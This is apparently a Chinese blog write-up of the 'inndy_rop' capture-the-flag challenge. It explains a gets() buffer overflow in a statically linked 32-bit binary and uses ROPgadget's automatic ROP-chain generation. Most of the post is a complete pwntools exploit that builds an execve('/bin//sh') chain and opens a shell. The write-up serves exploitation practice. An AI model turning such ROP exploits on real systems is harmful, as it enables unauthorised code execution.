inndy_rop

  头一次见这种题。。。

  32位程序,开启了堆栈不可执行。

  ida看一眼伪代码。main函数跟前有个函数,进去看一眼。

  

  就一个gets函数,干净利落。。。

  可以进行溢出。听大佬们说,这种情况,就是特别ida看起来特复杂,就是静态编译的结果。静态编译就不会调用libc中的东西,所以我们也不存在泄露版本利用libc的函数了。

  ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

  

 

  直接替我们把exp都写好了。。。我们直接复制,加个偏移就好了。。。

  记录一下,毕竟没见过。

  贴一下完整的exp:

  

 1 from pwn import *
 2 from struct import pack
 3 
 4 q = process('./rop')
 5 context.log_level = 'debug'
 6 
 7 def payload():
 8     p = 'a'*0xc + 'bbbb'
 9     p += pack('<I', 0x0806ecda) # pop edx ; ret
10     p += pack('<I', 0x080ea060) # @ .data
11     p += pack('<I', 0x080b8016) # pop eax ; ret
12     p += '/bin'
13     p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
14     p += pack('<I', 0x0806ecda) # pop edx ; ret
15     p += pack('<I', 0x080ea064) # @ .data + 4
16     p += pack('<I', 0x080b8016) # pop eax ; ret
17     p += '//sh'
18     p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
19     p += pack('<I', 0x0806ecda) # pop edx ; ret
20     p += pack('<I', 0x080ea068) # @ .data + 8
21     p += pack('<I', 0x080492d3) # xor eax, eax ; ret
22     p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
23     p += pack('<I', 0x080481c9) # pop ebx ; ret
24     p += pack('<I', 0x080ea060) # @ .data
25     p += pack('<I', 0x080de769) # pop ecx ; ret
26     p += pack('<I', 0x080ea068) # @ .data + 8
27     p += pack('<I', 0x0806ecda) # pop edx ; ret
28     p += pack('<I', 0x080ea068) # @ .data + 8
29     p += pack('<I', 0x080492d3) # xor eax, eax ; ret
30     p += pack('<I', 0x0807a66f) # inc eax ; ret
31     p += pack('<I', 0x0807a66f) # inc eax ; ret
32     p += pack('<I', 0x0807a66f) # inc eax ; ret
33     p += pack('<I', 0x0807a66f) # inc eax ; ret
34     p += pack('<I', 0x0807a66f) # inc eax ; ret
35     p += pack('<I', 0x0807a66f) # inc eax ; ret
36     p += pack('<I', 0x0807a66f) # inc eax ; ret
37     p += pack('<I', 0x0807a66f) # inc eax ; ret
38     p += pack('<I', 0x0807a66f) # inc eax ; ret
39     p += pack('<I', 0x0807a66f) # inc eax ; ret
40     p += pack('<I', 0x0807a66f) # inc eax ; ret
41     p += pack('<I', 0x0806c943) # int 0x80
42     return p
43 shell = payload()
44 q.sendline(shell)
45 q.interactive()
posted @ 2020-02-22 21:24  不会修电脑  阅读(1105)  评论(0编辑  收藏  举报